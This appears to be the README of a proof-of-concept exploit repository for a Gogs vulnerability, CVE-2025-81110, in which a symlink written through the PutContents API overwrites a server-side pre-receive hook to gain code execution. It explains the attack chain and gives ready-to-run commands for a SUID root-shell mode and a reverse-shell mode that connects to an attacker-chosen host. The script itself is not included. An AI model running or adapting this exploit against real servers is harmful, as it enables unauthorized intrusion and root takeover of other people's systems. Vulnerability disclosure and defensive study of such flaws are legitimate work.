CVE-2025-81110-PoC

Improper Symbolic link handling in the PutContents API in Gogs allows Local Execution of Code.

This repository contains a professional-grade exploit for a critical vulnerability in Gogs versions prior to 0.13.0. The exploit leverages a logical flaw where the Gogs API fails to validate file types when updating repository contents. By injecting a symbolic link that points to a server-side Git hook (pre-receive), an authenticated user can overwrite the hook's content with a malicious script. Subsequent Git push operations trigger the execution of this script under the context of the user running the Gogs service (typically root).

Symlink Injection: The attacker pushes a symbolic link pointing to internal repository hooks (e.g., /root/gogs-repositories//.git/hooks/pre-receive).

API Overwrite: The Gogs API allows updating the content of the symbolic link. Because the OS follows the link during the write operation, the internal Git hook is overwritten.

RCE / Privilege Escalation: A follow-up Git push triggers the pre-receive hook. If Gogs is configured with RUN_USER = root, the attacker gains full system control.

Requirements

• Python 3.x
• requests library
• git command-line tool installed on the attacker machine

USAGE

SUID Mode

python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode suid

After completion, gain root access on the target:

/tmp/rootbash -p

REVSHELL

python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode rev --lhost <your_ip> --lport 4444

Argument Reference

Disclaimer

This tool is for educational purposes and authorized security auditing only. The author is not responsible for any misuse or damage caused by this tool on systems you own or have explicit permission to test.